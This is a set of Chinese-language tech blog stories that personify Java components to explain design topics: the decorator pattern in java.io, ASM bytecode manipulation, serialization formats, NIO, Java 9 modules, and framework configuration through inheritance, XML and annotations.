换句话说， 仅仅是FileInputStream， 就需要7个子类， 你还有其他5个孩子呢！ 总共需要6 * 7 = 42个子类， 我估计客户看到这么多子类，眼都花了。




InputStream：看来我们得想另外的办法。要不然我的家族就要“类爆炸”了，再说让我一下生那么多孩子，我也煎熬啊。




小霍：你玩过俄罗斯套娃没？一个实心的娃娃被各种各样娃娃外壳套着。一个实心娃娃先套一个学生的外壳，那么他就是学生了，如果我再在外面套一个运动员的壳，那么他就成了有运动员身份的学生。我们模仿这种形式，比如最里面的实心娃娃是处理文件读取的FileInputStream，外面套一个BufferedInputStream的壳，那么这个套娃就是带buffer的FileInputStream。如果再套一个DataInputStream，那么套娃就成了能输出int这样java 基本类型并且带buffer的FileInputStream。搭配由客户去决定，我们只需要提供套娃壳（新的3个功能类）和最里面的实心娃InputStream（InputStream的6个孩子）。                                               









InputStream：这很巧妙，那如何实现这样一种设计呢？




小霍：这有2个关键点：




1.  既然套娃中一定有实心娃娃，那么套娃的壳的类必须包含一个实心娃。比如BufferedInputStream里面要包含一个InputStream,我们把实心娃娃通过BufferedInputStream的构造函数放进去，当然DataInputStream和PushbackInputStream也一样。




2.  BufferedInputStream+实心娃娃InputStream组成的新套娃又可以当作DataInputStream的实心娃娃，那么我们让这些套娃的外壳BufferedInputStream，DataInputStream，BufferedInputStream都继承自InputStream类，这样才能实现新组成的套娃又可以被另外的套娃壳嵌套。这３个套娃壳有着共同的特点都是装饰实心娃娃，我们再在他们上层在抽象一个FilterInputStream,让FilterInputStream继承自InputStream,让FilterInputStream里面包含一个实心娃娃InputStream。以后所有的装饰类都从FilterInputStream继承。




InputStream：这样我也省事了，只需要再多生一个FilterInputStream，剩下的BufferedInputStream，DataInputStream，PushbackInputStream这样的装饰类都让FilterInputStream去生了。




小霍：对，加上FilterInputStream，你就有７个孩子了，跟葫芦娃一样。前面６个哥哥都是和数据源有关，７弟就是用来装饰6个哥哥。把数据源的InputStream类和装饰的InputStream整合在了一起。




InputStream：而且对于BufferedInputStream，DataInputStream，PushbackInputStream来说，我还是爷爷，想着他们叫我爷爷的样子，我心里就美滋滋的。




小霍：美得你，Java中无论多少次继承都是子类父类关系，没有爷爷这么一说。我把家谱给你。你儿子太多，我就画ByteArrayInputStream，FileInputStream 和FilterInputStream的简化版。






（装饰者模式， 点击看大图）




小霍：这样的设计既避免了类爆炸，又可以让用户自己去搭配核心类和装饰类。而且也满足了一个重要的设计原则：开闭原则。这是指导思想。所谓开闭原则就是要对扩展开放，对修改关闭。我们的目标是允许类很容易地进行扩展，在不修改代码的情况下就可以搭配新的行为。至于缺点嘛，在实例化的时候用户不仅仅实例化核心类，还要把核心类包进装饰者中。对于初次接触ＩＯ类库的人，无法轻易理解。




InputStream：这是一个好的设计模式，只是需要一些学习成本。以后要有人不理解这设计模式，我就把我和你之间的故事给他讲一遍。




小霍：如此甚好。









回忆结束， 时光回到现在．




InputStream：故事讲完了，这下你明白了吗？




我：原来是这样啊，为了防止类爆炸而采用了装饰者模式， 要是按照我起初的想法，有一个专门的类来处理我的InputFileStream+BufferedInputStream,那InputStream您早就因为类太多引起爆炸了。小霍是个厉害的人物啊。




InputStream：是啊，年轻人就得多学习，小霍确实是个了不起的人物。




结束语：有人问过关于文章里提及的人物真实存在吗？其实大多数都是我杜撰的。 而本文中的小霍确有其人。亚瑟.范.霍夫(Arthurvan Hoff)早期杰出的Java工程师，大多数的Java.io类都出自他手。后来也担任过Flipboard，Dell公司ＣＴＯ．谢谢他把这么精彩的设计带到人间。文中提及的所有类InputFileStream，BufferedInputStream等都可以在java.io.*中找到，有兴趣的可以去读读源码，jdk的源码就是最规范的java规范,最详细的文档。





你看到的只是冰山一角， 更多精彩文章，请移步《码农翻身文章精华》




有心得想和大家分享？ 欢迎投稿 ！ 我的联系方式：微信：liuxinlehan  QQ: 3340792577







码农翻身



用故事给技术加点料





微信号：coderising







                    
                    
                    ASM： 一个低调成功者的自述

                                                                                

                    

                    

                    
                    
                    我就是那个不太知名的ASM， 你可能听说过我，也可能完全不知道我。




但是你要是认为我无足轻重，那就大错特错了。




没有我， 你经常使用的Spring , hibernate 将会失去最核心的功能。




没有我， Jython , JRuby 根本就移植不到Java 虚拟机中来。




没有我， Clojure, Groovy这些时髦的语言也没法在Java 虚拟机中运行。




一句话来概括我的能力： 我可以动态的修改已经编译过的class , 还可以动态的生成新的java class,  注意我说的动态这个词， 那可以是完全在运行时， 在内存中完成的， 这是一件非常厉害的本事。




既然我是为了动态的修改class 文件而生， 为什么叫做ASM呢？




其实我的创造者在创造我的时候， 为了起名也是大费周章，后来他突然想到C语言中的__asm__ 这个关键字， 可以允许你们在C语言中写点汇编，  他就把ASM这个关键字挪用了。




考虑到起名字确实是一件非常折磨人的事情， 我也就忍了， 就叫这个ASM吧， 至少能体现出我位于系统的最底层， 不， 应该说是最基础的层次。




我听到下面有人问了， 不就是动态生成类吗？ 我完全可以像jsp那样， 使用JavaComplier接口在运行时动态的编译一个java 源代码， 这不也是动态生成class吗？




其实不一样， 你那是生成新的类， 能对现有的class 进行修改吗？




又有人发话了， 你为什么要动态的在运行时来修改类啊？   我为什么不能在编译以前就把类的功能都写好啊？




当然，你要是能把所有的功能都写好，那自然不错，但是人生之不如意，十之八九啊。




举一个最最极端的例子，你从别人那里获得了一个没有源代码的jar 文件， 你想对其中的一个class 进行增强，肿么办？   你可能说： 我可以反编译啊..  算了吧， 反编译的代码能看吗？




还有你们经常挂在嘴边的AOP， 在配置文件中声明一些功能例如事务支持， 然后要这些功能动态的织入到业务代码中，肿么办？    有人说我可以用Java 动态代理啊，  是， 你可以用，但是人家要是没有接口不还是得瞪眼干着急？




顺便吐个槽，你们AOP的那些术语实在是太烂， 什么PointCut, 什么Advice, 除了把人搞晕，还有什么用处？




对了， 还有那个Hibernate , 难道你不知道那个所谓的实体类是被我给增强过的？ 你使用的并不是你看到的， 懂了么？




那到底是怎么实现的动态修改类的？  其实很简单， 去下载一个Java 虚拟机规范， 花上半年时间， 把每个字都搞懂了， 最后像黑客帝国中的Neo那样， 看到的整个世界都是二进制流， 你自然明白我是怎么做的了。









我给你简单的说一下： 我的核心呢主要是三个类， ClassReader, ClassWriter , ClassVisitor, 你用这三个家伙就可以去解析一个class 字节码， 获得字段了，方法了等信息， 当然最重要的可以对这些信息进行修改， 最终形成一个代表新class 的字节码数组，  剩下的事估计你就知道怎么做了， 其实也不属于我ASM了。




还不知道？  很简单嘛， 就是用个ClassLoader 把这个字节码数组Load到虚拟机中， 然后通过反射一调用，不就完了？




对了， 我的创造者使用了Visitor模式来设计这个API, 说实在的，设计的还真不错。 细节太多 ，我在这里就不罗嗦了， 感兴趣的同学可以看看   (http://download.forge.objectweb.org/asm/asm4-guide.pdf  ) ， 绝对物超所值， 当然你的英文要好。




说了这么多，还是上一点代码吧， 让你对我有个直观的认识：









我估计你也看不明白， 其实就是hello world了：









你可能心里在想， word哥， 想使用你ASM需要非常透彻的理解Java 虚拟机指令和Java虚拟机内部结构才能使用啊。




没错， 我刚刚说过， 需要读懂Java 虚拟机规范 ，  我负责处理的是最基础的东西 ， 很多码农并不会直接使用我来编程。




有个叫CGLib的家伙在我的基础之上做了不错的封装， 他做了一些高级的API抽象， 让普通的程序员也能够比较简单的对一个现成的类的行为进行修改。  由于更容易使用， CGLib的用户反而更多， 像Spring , Hibernate 。。。  我的风头完全被盖过了，   我想这就是我为什么这么低调、默默无闻的原因。




但是我初心不改 ，坚持对最底层的字节码进行操作， 我持续优化， 让自己变的又小又快， 为别的软件提供最有力的支持。




一开始我就说了Clojure对吧， 这是一个函数式编程的语言， 是解释执行的，没有编译过程， 那他凭什么能运行在Java 虚拟机上？ 不就是利用我ASM来动态的生成字节码 吗？  Jython, JRuby, Groovy 也是大同小异。




最近Java 帝国给我颁发了一个特殊贡献勋章， 奖励我对繁荣Java 虚拟机市场做出的重大贡献， 不谦虚的说， 这绝对是名副其实， 原来JVM中只有一门语言，那就是Java ,   你看看现在语言多的都选不多来了。




好， 今天就说到这里吧， 下次再会。 







后记： 写文章真是奇妙，当“才思泉涌”，找到合适表达形式的时候，可以一挥而就， 这篇文章只花了40分钟就写完了， 但是你绝对想不到， 这其实已经是第3版了，前两版花费了我10多个小时的时间，从张大胖写到张家村， 我都不满意，直到找到这一版本的带点调侃的风格。  

如果你想看看那两篇胎死腹中的文章， 可以点击“阅读原文”  查看我的有道笔记中的文章。
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                    1寒冬的蛰伏





这里的工作很繁忙，一年365天， 一天24小时几乎不停工。




但是我却是一个闲人， 因为我做的工作最近用的人太少了， 经常被冷落在一边。




大多数时候，我只能羡慕的看着线程、反射、注解、集合、泛型这些明星员工在那里忙忙碌碌， 听着他们充满激情的的大声说笑。




他们都叫我序列化，想想也是，  我的工作就是把一个Java 对象变成二进制的字节流，  或者反过来把字节流变成Java 对象， 这有什么意思？  




当大家需要一个Java 对象的时候， 直接new 出来不就得了，  对象不用了自然有令人胆战心惊的垃圾回收去处理。




但是存在即合理， 在JDk1.1的时代， 我就已经存在了。 当时人们的思想很超前： 网络就是计算机。 一个个Java 对象应该可以在网络中到处旅行 ： 从一个机器出发时，就变成二进制字节流，顺着网络跨过千山万水， 到达另外一台机器，在那里摇身一变，恢复成Java 对象， 在那里继续运算。









既然可以以二进制方式在网络中漫游， 那自然也可以把这些字节流存到硬盘中， 当JVM停机，整个世界坍塌以后， 线程，反射，注解都不复存在了， 而我的字节流还会在硬盘上默默等待， 等待下一次JVM的重生， 把对象恢复。




所以我觉得我的工作也很有价值， 从某种意义上来讲， 我可以让Java 对象跨越时间和空间而永生 ！




这种永生是有代价的， 首先你必须得用Java， 这是废话， 因为我只是java对象序列化。  




虽然那二进制字节流的格式是公开的， 你可以用任何语言(C,C++,Python...)去解析读取， 但是解析以后又有什么用处呢？     那些字节流中会告知你这是哪个类的数据，字段的类型和值，   但是如果你没有相对应的Java 类，还是无法构建出Java 对象出来。  

其次， 做序列化双方的类必须得一致， 要不然肯定出乱子。




大部分人都不知道在上个世纪末和本世纪初， 我还是随着J2EE火了一阵， 当时J2EE中有个叫RMI东西， 其实就是Java RPC。  由于我卓越的工作， 开发人员用可以轻松的调用远程服务器上的Java 方法， 就相当于调用本地方法一样， 很方便。    




可惜的是这个RMI只能用在Java环境中，对于服务器来说这根本不是问题， 但是当时Web应用正在兴起， 一个浏览器中是很难有Java环境的，  所以RMI很快就没落了， 我也随之被打入冷宫， 我也只好蛰伏下来，等待机会。




2XML和JSON的挑战





后来我们这里来了一个叫XML的小伙子，很受大家的欢迎， 都喜欢把Java 对象序列化的工作交给他去做。




我不能坐以待毙， 我仔细的观察了几天以后， 终于发现这个家伙有个大缺点： 太复杂了！




对于我的Java 序列化，大部分情况下你只需要让你的类实现Serializable接口， 我就可以接管后续的所有工作。不用你操心了。 




可是用XML, 你还得写一堆代码把一个类中的各个字段和他们的值变成XML标签/属性/值 才行。  当用来表示对象的XML字符串漫游到另外一个机器上， 还得有一堆代码把XML变成对象。




我嘲笑XML说： “小伙子， 你这也太麻烦了吧， 人类的时间多宝贵， 为了用XML做序列化，代价好高嗷！”




“老家伙，没你想的那么复杂， 你可能不知道， 我们有些类库能自动帮助把对象变成XML”    他毫不示弱。




“ 不要忘了 ”  小伙子补充道   “ 我们XML可是语言中立的， 在这里是Java对象， 到了客户端 什么语言都行 ， Java/C/Python/Ruby.... 都没问题， 甚至浏览器里的Javascript都能处理， 这一点你不行了吧？”




这家伙戳到了我的痛处，  在浏览器中我的确需要一个Java 环境才行运行 ，  唉，真是成也Java ,败也Java。




我说： “我知道你是语言无关的， 但是你注意到没有， 你的XML标签冗余太多， 真正的数据很少。 比如有个Person类， 有两个字段name和address,  用你的XML做序列化就变成了这个样子<person><name>abc</name><address>xyz</address></person>， 这在网络上传输起来绝对是一种浪费！  我的java 字节流就不一样了， 二进制的，非常紧凑，一点都不浪费！“




XML小伙子沉默了， 小样， 我也抓住了你的痛点。




过了两天，这个小伙子又带来了一个叫JSON的小弟， 他得意洋洋的向我炫耀： 用了JSON以后，数据精简多了， 不信你看：{"name”：“abc", "address":"xyz"}  ， 现在我们不但语言中立，还很精简， 老家伙，这下你无话可说了吧。












我认栽， 但是让XML也没高兴多久， 让他没有想到的是， Web时代JSON和Javascript是一对绝配， 联手统治了浏览器。 连XML自己都快没饭吃了。




（码农翻身注： 参见《Javascript： 一个屌丝的逆袭》）




3新协议的崛起





其实我一直觉得我的二进制序列化方式能减少存储空间， 方便网络传输，只是我的硬伤是无法跨越语言。




不行， 我不能一直守着Java这一亩三分地了， 必须扩展支持多语言， 这样才能脱离Java环境。




有人说： 计算机的所有问题都可以通过增加一个中间层来解决。   我是不是也可以搞个中间层出来？  




让这个中间层来定义/描述消息的格式，然后再弄一个小翻译器（ 不，叫编译器显的更加高大上）， 把这个程序员自定义的消息格式转换成各种语言的实现，例如java, python, c++等等。




在转换好的语言实现里边，自动包含了要被序列化的类的定义， 以及实现序列化和反序列化的代码， 当然序列化以后的数据是二进制的。




等到二进制的字节流通过网络传输到另外一台机器， 就可以反序列化为各种语言（例如Python）的对象了， 当然必须是同一个消息格式产生的Python类。









不仅仅是Python, C++, Go, C# , 甚至Javascript 都可以用 ！




是不是很爽 ？  既语言中立， 又采用二进制传输， 体积小，解析快， 完美的综合了各种优点！




唯一的额外工作是需要把消息格式的定义编译成各种语言的实现， 为了能支持多语言，这也是没办法的事情 。




我得意的把新方案给XML和JSON这两个家伙看了， 从表情来看，就知道他俩如临大敌了。




我也把方案提交给了我们服务器世界的老大 ， 他大为赞赏， 决定先在部分场景下用起来， 例如对象存入缓存的时候需要序列化， 以前用json,   占用空间很大， 改用了我的新方案以后， 不但减少了空间使用， 还提升了读写的效率， 效果不错。




我成功地扳回了一局，现在找我用新方案来做序列化的人越来越多了， 但是最终鹿死谁手还很难说，最有可能的情况是，各种方案混合使用， 即使是这样，我也很满足了。




你看到的只是冰山一角， 更多精彩文章，请移步《码农翻身文章精华》




有心得想和大家分享？ 欢迎投稿 ！ 我的联系方式：微信：liuxinlehan  QQ: 3340792577




·END·
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                    Java IO 的自述

                                                                                

                    

                    

                    
                    
                    我是Java IO, 你可能听说过我，了解过我，用我的API写过简单的程序， 但估计大部分人也就此打住， 对我的了解并不深入。




这也难怪，毕竟在实际的工作当中，直接使用我的API来操作文件的机会并不多，  更多时候你只需要把配置文件（xml， properties等）放到指定的位置， 剩下的工作就交给框架去处理了，  框架会把这些配置数据变成Java 对象来让你调用， 不用你去操心IO细节。




有些人以为我只是和文件打交道， 为什么不叫做File， 而叫做这么文绉绉的IO呢 ？




其实IO就是输入输出的意思， 文件只是一个IO的例子而已，  从网络读写数据也是IO啊， 极端的情况我对存读写数据也可以是IO啊。  IO是对他们的抽象。




还有人一直分不清什么时候用InputStream， 什么时候用OuputStream， 老是把他俩搞混， 我可以教你一个简单的方法： 把自己当成程序， 当你从外边读数据到自己这里就用InputStream,  向外边写数据就用OutputStream。




Stream这个词也很有意思，想象一下，你从文件/网络读取数据， 这些数据像河流一样“流”向你， 是不是很形象？   由于是“流”， 你读到了第100个字节， 然后想退回到第10个字节重新读， 那我是不允许的， 河流是不允许倒退的。




追根溯源， 计算机中的一切都是二进制的字节， 包括你现在正在看到的文章， 但是你们码农如果直接用InputStream/OutStream来读取这些文本内容， 势必有点麻烦，还得翻译成字符， 所以为了方便你们我就提供了Reader/Writer 接口， 专门用于处理字符流。




啰嗦的这么多， 还没到正题， 我想给大家说的是昨天发生的一件事。




昨天下午，我一边喝咖啡一边津津有味的欣赏我那优雅的API设计，每一次我都忍不住赞叹那漂亮的对称性（Input, Output对称，  byte和char 对称）， 还有这装饰模式和适配器模式， 多么优雅，多么漂亮 ，竟然有人说我过度设计， 真是不知好歹。




正在这时候有人敲门了， 来人自称是帝国语言管理部门的，戴着一副深度眼镜， 我们就称呼他“眼镜”吧。 




我把他请进来，一起喝点咖啡， 顺便再炫耀下我这优雅的API。




不料眼镜说： “IO先生， 我奉上司命令， 特意前来帮你把API增强一下。”




我说： “现在已经这么优雅漂亮了， 你们还要改？ 小心把它改丑了！”




“不是的， 我此次的目的主要是增强API,  你想想，你的接口有什么问题没有？”




我说：“除了有人说我过度设计之外，好像没什么呀”




“你不知道， 问题都反映到上层部门去了， 其中有个重要的问题就是阻塞的问题”




这个我知道， 比如我去读取文件中的一行数据：






当一个线程在执行这段代码， 遇到readLine()方法的时候， 需要等待数据从硬盘进入内存， 这个线程就会被阻塞，   当然我觉得这也没啥， 很正常啊， 大家不都是这么编程的吗？




可是眼镜说： “不， 有很多人反映了这个问题， 大家想把它改成非阻塞的， 也就是说调用了readLine()方法以后，立刻就返回， 线程就可以干别的事情去了。”




“为什么要去干别的事情？ 这个线程不就是为了读数据吗？   好，就如你所说， 现在变成了非阻塞的， 调用了readLine()以后， 线程可以执行后面的代码了， 那这个线程岂不还得做个轮询操作，看看数据是不是已经读好了？”






"这样一来，代码多丑陋啊， 不符合我一贯的美学原则， 还不如我原来的阻塞方式呢"    我觉得眼镜的要求不可思议。




眼镜不服气的说： “要是你的线程打开了成百上千个文件呢？  你这种阻塞的方式，只能按照文件1， 文件2， 文件3......   顺序的读取这么多文件，太慢了.  如果是非阻塞方式， 你可以同时发起成百上千个读操作，  然后在那个循环中检查， 看看谁的数据准备好了，就读取谁的， 效率多高啊。”




我立刻反击道： “谁会那么傻， 用一个线程打开这么多文件？  ”




眼镜苦笑着摇了摇头， 似乎没法说服我了。   我觉得可以送客了，继续我的自我欣赏之旅。




可是他突然眼镜一亮： “你听说过服务器端的Socket编程吗？  ”




“我当然知道， 我还知道这个情况： 一个socket连接来了， 就创建一个新的线程或者从线程池分配一个线程去处理这个连接”




“那要是并发连接数太多了怎么办？ ”




”那就多创建线程呗。”




” 每个线程都会占用内存空间， 数量多了系统受不了，线程之间的切换也是个要命的开销啊。 ”




眼镜说的有道理， 我无言以对。




眼镜看我沉默了， 接着趁热打铁： ” 所以大家呼唤非阻塞的方式啊，   让一个线程管理成百上千个sockcet连接，就像管理多个文件一样，这样就不用做线程切换了。”




我似乎有点明白了， 正常情况下， 在某一个时刻， 不是每个socket 都有数据读写， 很多时候都是空闲的，所以完全可以用轮询的方式来查看那些socket可以读写， 进行操作就可以了。




我说： ”好吧， 你想怎么改？  ”




"其实我一来就给你说了， 我们是想增强API, 毕竟你的Stream, Reader用的人太多了， 大家基于他们写了大量代码， 所以不能轻举妄动。 你现在的API在java.io 这个包下面，  我们设计一套新的API，叫java nio, 放到java.nio包下面吧 "




NIO ?  是"non-blocking IO"？ , 还是 "new IO" ？  唉， 我是懒得管了。




眼镜早有准备， 拿出了一套设计文档， 给我讲了几个概念：




Channel :  可以和原来的Stream类比， 但是有个关键区别， 那就是通过Channel 读写数据，是非阻塞的， 一个socket 也是Channel 的一种。




Buffer :  通过Channel 读写的数据都在Buffer 中， 由于Buffer 不是流， 你读到Buffer 尾部以后还可以从头再读。




Selector ：  和Channel配合使用， Channel 可以把自己注册到Selector当中， 告诉Selector 说， 我要监听XXX事件， 这是一个线程管理多个Channel的关键。












我不得不服气，这是一种我之前没有考虑过的思路， 在一个无限的循环中让一个线程处理如此多的连接。










好吧，既然对我原来优雅的API没有影响， 那就把nio加入进来吧。




但是我相信， 相比IO ,  这个NIO 你用的可能就更少了 ！




（完）
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 JDK 先生有点烦





JDK先生有点烦， 因为最近几个刺儿头程序经常找茬儿， 抱怨的还是classpath, jar 文件, package这几个JDK赖以生存、 引以为傲的基础设施。




想当年java诞生的时候， package 帮助程序员把java 类更好地组织起来， jar 文件把class文件打成压缩包，而classpath 这么多年一直兢兢业业地查找类文件，从来没出过差错。 为啥要抱怨他们呢？




前天用户系统跑过来说，他有两个package ，com.foo.db.api.和 com.foo.db.impl,  他期望大家只使用api包的UserDao, 可是总有一些不着调的程序员还去直接使用impl包,  屡禁不止啊。




用户系统带着怨气地问道：   你就没有办法让impl包也变成对外私有的？  你要是再不支持，我们都要转到OGSi 去了啊，到时候你后悔都来不及！ 




还有，昨天订票系统跑来说，他有两个模块，模块A 依赖json_1.1.jar，模块B依赖 json_2.0.jar , 可是这两个jar 互不兼容， 怎么把它们放到classpath上？  




JDK 觉得订票系统很变态，怎么会出现这样的代码，这不是自己折磨自己吗？ 但转念一想，主要的问题还是自己的classpath, 这个所谓的classpath 是个平铺的线性结构， 而jar 之间的依赖关系应该是个有向图啊！ 




今天还有个家伙说他要开发物联网应用， 内存受限， 他发现JDK和JRE太大了，动辄上百M， 更要命的是其中有不少东西他们并不用， 例如界面相关的jar , 但是又没法从JDK中去除。  能不能按照需要裁剪一下JDK呢？   




如果说前面两个要求还算合理， 这个老兄的要求简直就是一场革命， JDK自己革自己的命。 
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 模块化





虽然JDK已经非常成熟，但是用户的需求不能置之不理。 




JDK闭关思考了半月， 终于憋出来一个大招：做粗粒度的模块化！





他把各位刺儿头招来商议。




“模块化？ 还粗粒度？ ”　一听到这个消息，　订单系统就跳了起来，生怕把自己给改乱了。




“是啊，模块一般指的是一个独立的单元， 它精确地声明了对外的接口和依赖。 你们想想，人类在开发中基本上都是把jar文件作为一个个的‘模块’， 每个jar文件中包含了一些package ,   但是 jar 文件本质上还是一堆.class文件的压缩而已。”




“那该怎么办？”　用户系统好奇心被激发了，它特别想做package的权限控制。




“最简单的办法，可以在jar包中添加一个声明性的文件， 这个文件定义模块名，它对外提供的接口，和依赖， 像这样：”









用户系统很激动， 这简直就是为了他量身定做的： “嗯，这很容易理解， 这个jar 的模块名叫做com.foo.db,  依赖另外一个模块 java.sql ,   这个export 就是说别人只能访问com.foo.db.api这个package下面的类， 像com.foo.db.impl 就不能访问了，对吧？”









com.foo.db.jar 文件的内容如下：

module-def.xml

com.foo.db.api.XXXX.class

com.foo.db.api.XXXX.class

......

com.foo.db.impl.XXXX.class

com.foo.db.impl.XXXX.class

......




JDK 赞许地说： “没错，  这就是所谓粗粒度的模块， 原来的java class 也可以称为一个模块，但是粒度太细了， 现在我们把一组类封装到一个jar 文件中，再加一个声明文件， 就变成了一个粗粒度模块。当然你肯定能想到，我自己也得做增强喽， 必须得能识别模块定义，并且正确的设置访问权限。”




用户系统说： “哎呀， 我其实最讨厌又臭又长的xml 了， 能不能用java 描述呢，就叫做module-info.java吧”









JDK笑了： “看来你小子想得挺深的。 我也喜欢这样清爽的表达， 只不过得把java 语法也增强了。增加像module , requries, exports这样的关键字才行。”




现在： com.foo.db.jar 文件的内容如下：

module-info.class

com.foo.db.api.XXXX

com.foo.db.api.XXXX

......

com.foo.db.impl.XXXX

com.foo.db.impl.XXXX

......
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 JDK自身的革命





开发物联网的小伙子问道： “JDK先生， 你自己是不是也要搞成模块化啊 ， 这样我就可以裁剪出我使用的模块了。”




“是啊， 你们上层要是模块化了， 我肯定也得这么搞，并且我还得先搞出来， 这样你们好使用啊。这对我来说，是一场巨大的革命啊， 我得把我成千上万的类给捋一捋，形成层次分明，隔离良好的模块， 我现在才总结了一部分： java.desktop , java.xml, java.sql , java.naming, java.logging, java.scripting......”




订单系统打断说： "慢着， 难道让我在每个模块中都导入所有的JDK的基本模块吗？ 这不把人给累死？"









JDK 说： “不不， 这个问题我也考虑过了，其实可以引入一个隐式的依赖嘛， 我把JDK中最重要的核心模块组织起来，形成一个java.base 模块，其他模块都隐式的依赖它就行了，  就像你的java类不用extend Object 一样， JDK会自动给你加上。”
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 迁移





用户系统说： “ 模块化的想法很不错， 解决了我的问题。 可是现有的大部分程序和jar包都没有实现模块化， 单单自己实现模块化有什么用， 你去require 谁？ 你export出去的接口被谁用？ ”




大家都向用户系统投来了佩服的目光， 这是个非常现实的问题。




模块化仅仅有JDK的改变还不够， 除非大家都用起来，要不然还是无法实施。




log4j 跳出说： “是啊是啊， 你们都迁移成模块了， 我一直没改，该怎么办？”




JDK说： “ log4j 你不用担心，  肯定得有一种让大家慢慢迁移到‘模块’的路径才行， 就说你吧， 还没有模块化，但是用户系统想拥抱模块化， 他要require你，该怎么办？”




“也许我可以临时的给他们起个名字，例如log4j-module , 可是我的模块怎么才能知道这个'临时模块'的存在呢？” 用户系统说




“想想classpath , 我们可以搞个modulepath, 只要加入到这个modulepath的jar文件，例如log4j.jar ,   就自动认为这是一个module (虽然他没有module-info.java声明) ， 这样你就可以requrie log4j  来使用它了。”









"妙啊，这可以让大家慢慢的迁移， 我可以先把我的应用转化为模块 , 如果哪个类库还没拥抱模块化， 我就把它放到modulepath中，让它自动成为一个模块， 这样我就可以require了！"




用户系统对JDK的方法非常佩服。 




“别高兴的太早”  JDK说， “一个类库一旦成为自动的模快， 那它就能访问所有的模块，因为我们不知道它到底依赖谁， 为了能让大家迁移到模块化，这也算是一个代价吧。 ”




“对了，要是只有JDK实现了模块化， 但是我们上层的应用还没有开始迁移， 能在新的JDK上运行吗？ ”   订单系统担忧的问道。




“那必须得运行，不是自夸，我比较牛的一点就是向后兼容性， 早期的代码甚至不用修改就可以在最新的JRE上运行，  新的特性可不能破坏这种兼容性！”




“那该怎么搞？ ”




“很简单， 我会把所有这些没有迁移的类库都放置到一个叫做unnamed模块当中， 这样概念上就统一了。 ”




“不错不错， 听起来可行” 大家纷纷表示赞成 “要不试一试？”




“心急吃不了热豆腐， 我今天召集大家来也是把主要的想法给大家分享下， 说起来简单， 里边有很多细节我得好好想想才行， 大家耐心地等待下一个版本的发行吧！”




后记： 本文介绍的就是Java9的新特性： 模块化的一些概念， 还有很多其他的细节，感兴趣的同学可以点击阅读原文去openjdk 的网站上去看看 。 






你看到的只是冰山一角， 更多精彩文章，请移步《码农翻身文章精华》
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                    什么是框架（续）？

                                                                                

                    

                    

                    
                    
                    本文是《什么是框架》的续集， 新来的同学可以先看看那一篇文章。






张大胖听大神Bill讲解了框架的作用，回去思考了两天，茅塞顿开。





框架只是一个半成品而已， 这个半成品当中固化了很多最佳的实践， 开发人员必须把自己的代码填充到框架当中才能成为一个完整的应用程序。




说起来简单，  到底怎么“填充”呢 ？  码农们写出来的代码怎么才能让框架知道， 并且调用呢？




张大胖本来想找Bill 问个明白，  但转眼一想， 自己要是能思考出结果岂不更加印象深刻？ ！




他的脑子开始热身，迅速进入高速运转状态，  叮的一声， 一个想法跨入他的脑海： 可以用继承啊！




框架定义一些抽象类(如Java 中的abstract class ) 让具体的应用代码去继承， 抽象类的好处是可以写具体方法， 也可以只声明抽象方法而不实现 -- 具体的实现肯定要留给码农们的应用程序了。




在抽象类的具体方法中，可以处理一些框架公用的逻辑， 然后调用那些子类应该实现的抽象方法， 这不就把框架和应用结合起来了吗？




嗯， 这不就是我上周看过的一个著名的设计模式： 模板方法吗？ 用在此处挺合适的嘛， 大胖不由的一阵得意， 似乎是自己重新发明了这个设计模式。






（注： Action　为抽象类，　doBusiness 为抽象方法， 其他为具体方法）




张大胖马上向Bill汇报自己的新发明，  Bill 鼓励到： “你小子开窍了啊， 这的确是一个办法， 著名的MVC框架struts1 就是这么干的， 还有JUnit的早期版本,更早的EJB1.x, 2.x 都是这样，  都需要自己的业务类/测试类去继承一个框架的抽象类， 实现抽象方法才可以。”




张大胖知道Bill的习惯是先扬后抑， 静静的等待着转折。




“但是，” 转折果然如期而至， “ 这种方法让人感到不爽，业务类比较死板 ， 比如你必须得用框架规定的方法名， 没法自己定制。例如JUnit的早期版本， 测试用例的初始化方法必须得叫Setup,  销毁方法必须是TearDown,    你想换成init/destroy 是肯定不行的， 因为框架根本不知道。 ”




张大胖说： “这没什么啊， 我觉得还是比较好的编程实践呢， 大家都保持名称一致，可读性很好啊”




“其实你往深处想想就会明白， 这种方式其实让你的业务类和框架绑定了！ 这是最要命的。 你的例子中抽象类是Action , 如果这个Action 很‘重’ ，依赖HttpServletRequest/HttpServletResponse，   必须得有一个Web容器（Tomcat）才能创建起来， 那你的LoginAction 可就悲催了， 想要做个单元测试必须得把Tomcat跑起来才行。 ”




张大胖说：“听你这么一解释， 我明白了，这种继承的方式问题很大啊。 是不是可以这么说， 框架和业务类最好是独立变化， 中间用一座桥来连接起来。”




Bill 赞许道 ： “对，  你想想这个桥用什么‘材料’做比较好？”




张大胖挠挠头，一脸懵逼。




“回到原始的问题， 我们不就是试图让框架把我们的业务类创建起来，然后调用特定的方法吗？  完全不用在代码中写死， 可以采用别的声明式的办法啊”   Bill  循循善诱。




“难道在代码中写注释？  ”  张大胖继续一脸懵逼。




“注释都是纯文本， 不是结构化的信息啊， 难道你让框架读取文本，然后做个语义分析？ 根本不可能， 更何况注释在编译过的class中间已经不复存在了，无处可寻， 框架怎么读？   再想想”  Bill急得就差自己公布答案了。




“啊， 我知道了，你刚才说的结构化信息提醒了我，  可以用XML啊， XML来描述结构化东西很擅长！ ”




张大胖说着还写了个例子出来： “通过用XML来描述， 框架就可以找到相关的类和方法，就可以调用了”









"是的， 你举了一个小例子， 实际上由于XML的扩展性， 能描述极为复杂的语义，很多框架都会制定规则， 让码农们去‘声明’自己的业务类及其方法。 "




“这种声明的方式真是不错，业务类不用继承框架的抽象类了，我刚想到一个问题，　我们的Java类和XML配置不在一起，  当我们想知道一个类的方法，字段是怎么被框架使用的时候，还得回过头来查看XML， 这实在不爽。 ”　张大胖问道。




“这是个好问题， 那就把这种‘声明’信息挪到Java 类中去吧！”  Bill 说。




“你刚才说了不能用注释， 怎么在Java 文件中写‘声明’ 啊？”




“没有注释， 可以有注解啊！ ”




“你是说那个@author, @version, @return, @see这样用来生成Java文档的注解吗？ 还有什么@Override，@Deprecated, 我从来都不用。”




Bill 笑了： “那只是Java内置的一些注解， 现在Java可以自定义注解了， 我们完全可以利用这种注解来声明框架想用的信息， 我给你举个例子：”









张大胖问道： “@Controller, @ReqeustMapping, @RequestParam 都是框架自定义的注解？“




“是的， 你可以直接在Java 代码中使用， 在运行时框架能读取这些注解， 就知道你想干什么事情了。”




